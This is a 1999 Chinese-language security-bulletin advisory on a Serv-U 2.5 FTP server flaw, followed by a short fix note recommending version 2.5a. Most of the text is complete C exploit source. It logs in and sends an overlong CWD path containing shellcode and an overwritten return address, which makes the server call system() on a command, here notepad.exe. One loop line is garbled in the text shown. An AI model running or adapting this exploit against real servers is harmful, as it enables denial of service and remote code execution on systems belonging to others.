绿盟安全月刊->第2期->最新漏洞 Serv-U Ver2.5 FTPd Win9x/NT 漏洞

作者：UNYUN (shadowpenguin@backsection.net)
整理：小鱼儿(littlefish@soim.net)
日期：1999-10-15


受影响版本：Serv-U 2.5

危害：导致安装此版本Serv-U的Server当机。

以下是漏洞代码：

/* FTP Serv-U Version 2.5 for Win9x/NT 漏洞
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
作者：UNYUN (shadowpenguin@backsection.net)
编译：小鱼儿(littlefish@soim.net)

*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>

#define BUFSIZE 9000
#define FTP_PORT 21
#define RETADR 164
#define CODEOFS 200
#define FSTACKOFS 174
#define JMPOFS 6
#define MAXUSER 100
#define MAXPASS 100
#define EIP 0xbff7a027
#define FAKESTACK 0x80050101
#define NOP 0x90
#define JMPS 0xeb

unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.notepad.exe";

void sendcmd(int sockfd,char *packetbuf)
{
int i;

write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
}

int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
char user[MAXUSER],pass[MAXPASS];
int sockfd,i,fakestack,ip,ebp,ins;

if (argc<2){
printf("usage\n %s HostName {[username] [password]}\n",argv[0]);
exit(1);
}else if (argc==4){
strncpy(user,argv[2],MAXUSER-1);
strncpy(pass,argv[3],MAXPASS-1);
user[MAXUSER-1]=0; pass[MAXPASS-1]=0;
}else{
strcpy(user,"anonymous");
strcpy(pass,"hoge@hohoho.com");
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(FTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}

if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}

strcat(exploit_code,cmdbuf);
memset(buf,NOP,BUFSIZE);

fakestack=FAKESTACK;
for (i=0;i buf[i ]=fakestack&0xff;
buf[i+1]=(fakestack>>8)&0xff;
buf[i+2]=(fakestack>>16)&0xff;
buf[i+3]=(fakestack>>24)&0xff;
}
ip=EIP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[RETADR+4]=JMPS;
buf[RETADR+5]=JMPOFS;
memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));
buf[BUFSIZE]=0;

sprintf(packetbuf,"user %s\r\n",user);
sendcmd(sockfd,packetbuf);
sprintf(packetbuf,"pass %s\r\n",pass);
sendcmd(sockfd,packetbuf);
sprintf(packetbuf,"cwd %s\r\n",buf);
sendcmd(sockfd,packetbuf);

close(sockfd);
}

解决方案：

Serv-U Version 2.5a 于 1999-5-5发布，修正了Serv-U 2.5版本中在Ftp命令行中通过长路径导致Server当机的漏洞。

可到如下地址获取最新版本：
http://www.ftpserv-u.com/.

版权所有，未经许可，不得转载